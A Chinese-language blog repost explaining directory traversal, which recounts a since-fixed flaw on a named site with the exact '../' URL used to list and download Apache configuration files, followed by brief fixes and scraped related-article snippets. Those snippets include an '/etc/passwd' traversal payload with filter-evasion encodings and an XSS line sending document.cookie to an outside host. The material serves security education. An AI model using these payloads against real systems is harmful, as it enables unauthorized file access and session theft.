【常见Web应用安全问题】---4、Directory traversal

Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些。


 常见Web应用安全问题安全性问题的列表:

  1、跨站脚本攻击(CSS or XSS, Cross Site Scripting)
  2、SQL注入攻击(SQL injection)
  3、远程命令执行(Code execution,个人觉得译成代码执行并不确切)
  4、目录遍历(Directory traversal)
  5、文件包含(File inclusion)
  6、脚本代码暴露(Script source code disclosure)
  7、Http请求头的额外的回车换行符注入(CRLF injection/HTTP response splitting)
  8、跨帧脚本攻击(Cross Frame Scripting)
  9、PHP代码注入(PHP code injection)
  10、XPath injection
  11、Cookie篡改(Cookie manipulation)
  12、URL重定向(URL redirection)
  13、Blind SQL/XPath injection for numeric/String inputs
  14、Google Hacking

目录遍历(Directory traversal)

  部分朋友应该知道之前我在我的blog里公布了ah163.NET上的一个安全漏洞,安全级别高:极度危险,由于我没有公布细节,大家都比较好奇想知道是什么。出于对同行的尊重我就删除了漏洞公布这一栏的内容了。我已经通知ah163.Net的同行了,他们已经fix那个问题。

今天我们就讲讲这个漏洞。love.ah163.net上有网络硬盘服务,当注册用户登录并开通网络硬盘服务后,即可进入自己的硬盘管理界面,我们来看看它是如何进入某一个目录的,以下是进入某一目录的URL:  http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder

那现在我把这个URL改装一下:http://love.ah163.net/Personal_Spaces_List.php?dir=../../../../../../../../../../../../../usr/local/apache/conf/

在浏览器里运行它,会是什么结果呢?结果是:/usr/local/apache/conf/里的所有文件都老老实实的列出来了,通过这种方式,你可以发挥你的想象了,服务器上的东东是不是都差不多可以列出来了?告诉你,还可以随便下载呢!网络硬盘嘛,就是用来上传下载的,所以它提供的功能很完备,破坏性也就很强了。至于它的危害有多大,你自己想去吧,我就不危言耸听了。

  简要的解决方案:

1、同样是限制Web应用在服务器上的运行

2、进行严格的输入验证,控制用户输入非法路径

本文来自:http://blog.csdn.net/iwebsecurity/article/details/1693877

时间: 2024-11-10 00:13:11

【常见Web应用安全问题】---4、Directory traversal的相关文章

网站安全(13) ——目录穿越漏洞(Directory Traversal)

如果应用程序使用用户可控制的数据,以危险的方式访问位于应用服务器或其它后端文件系统的文件或目录,就会出现路径遍历. 攻击者可以将路径遍历序列放入文件名内,向上回溯,从而访问服务器上的任何文件,路径遍历序列叫"点-点-斜线"(..\) http://***/go.action?file=..\..\etc\passwd 避开过滤第一种是过滤文件名参数中是否存在任何路径遍历序列(..\)如果程序尝试删除(..\)来净化用户输入,可以用-.// -.\/ -./\ -.\\进行URL编码点–

牛腩学习----Web编程安全问题

对于web编程中,安全是一项时刻都要注意的问题.在敲击牛腩的时候遇到的防止sql注入,md5转换明文密码为暗文等操作都是应对web编程安全问题提出的. 为此从网上查阅一些关于web安全方面的资料,对一些web安全问题简单了解了一下. SQL注入 SQL注入是攻击者通过精心设计的提交数据,在服务器合成SQL语句时,失去了设计者的初衷,导致执行了错误的SQL语句. 最简单的用户验证如果采用简单的select语句:select userName from USER where userName=1 a

JS-004-JavaScript 操作常见 web 元素之四-判断元素显示状态

在日常的 web 编程或 UI自动化脚本编写过程中,经常会遇到判断页面元素的显示状态,以对应的执行相应的操作.此文主要以 js 判断页面元素的存在状态为例,简单叙述一下 js 是如何判断元素的显示状态的,敬请小主们参阅.若有不足之处,敬请大神们不吝指正,不胜感激! 多不言述,小二上码咯. 以下为简单的 HTML 源码,如下所示: 1 <html> 2 <head> 3 <meta http-equiv="Content-Type" content=&quo

JS-005-JavaScript 操作常见 web 元素之五-常见下拉列表 Select 和 datalist

下拉列表在我们日常的网页浏览的过程中,随处可见,是 web 编程过程中大家非常熟悉的一个页面元素,随着 HTML 语言的日益强大,其在广大攻城狮的手中可谓是千变万化,有了很多不同的实现方式.本文主要以常规的 Select 下拉列表来讲述 js 对下拉列表的常规操作,其中 datalist 算是此文稍许的延伸,也可看做一种简单的下拉列表,遗憾的是 IE 9 和更早版本的 IE 浏览器 以及 Safari 不支持 datalist 标签,其主要应用于输入或搜索文字的自动完成功能等,感兴趣的亲们可以详

总结几种常见web攻击手段及其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 DDOS web安全系列目录 总结几种常见web攻击手段极其防御方式 总结几种常见的安全算法 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="

JS-003-JavaScript 操作常见 web 元素之三-innerText 与 innerHTML 区别

此文主要讲述在使用 innerText 和 innerHTML 获取元素中间值时的差别,我个人将二者的区别简单的理解为: webelement.innerText : 获取的是页面元素显示的文本 webelement.innerHTML : 获取的是元素中间的 HTML 源码 闲话少述,就此上码.敬请小主参阅,若有不足之处,敬请大神指正,不胜感激! 对应的 HTML 页面源码如下所示: 1 <html> 2 <head> 3 <meta charset='utf-8'>

JS-002-JavaScript 操作常见 web 元素之二-修改元素属性(以按钮示例)

此文以修改 button 元素属性(例如:添加属性.修改属性.修改颜色样式.边框样式等)为简单示例,演示 js 修改 HTML 元素属性的基本方法,敬请参阅.若有不足之处敬请指正,不胜感激! 多不闲述,就此上码. HTML 源码如下所示: 1 <html> 2 <head> 3 <meta charset='utf-8'> 4 5 <title>JS-002-JavaScript 操作常见 web 元素之二-修改元素属性(以按钮示例)</title&g

Tomcat Jboss Glassfish 三种常见web容器比较

https://i.cnblogs.com/EditPosts.aspx?postid=7596859 Tomcat Jboss Glassfish 三种常见web容器比较<br>一.缘由: 新公司平台是纯Java架构,有用到Java Web(JSP).Java 业务(EJB).Nginx..Websphere MQ.Mysql这样.大家知道java是跑在容器里的, 这里的业务要用到EJB故选用了Glassfish容器. EJB是什么?EJB是一个服务器端的组件模型,可以部署分布式应用程序.J

总结几种常见web攻击手段极其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 总结几种常见web攻击手段极其防御方式 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="+document.cookie)</scrip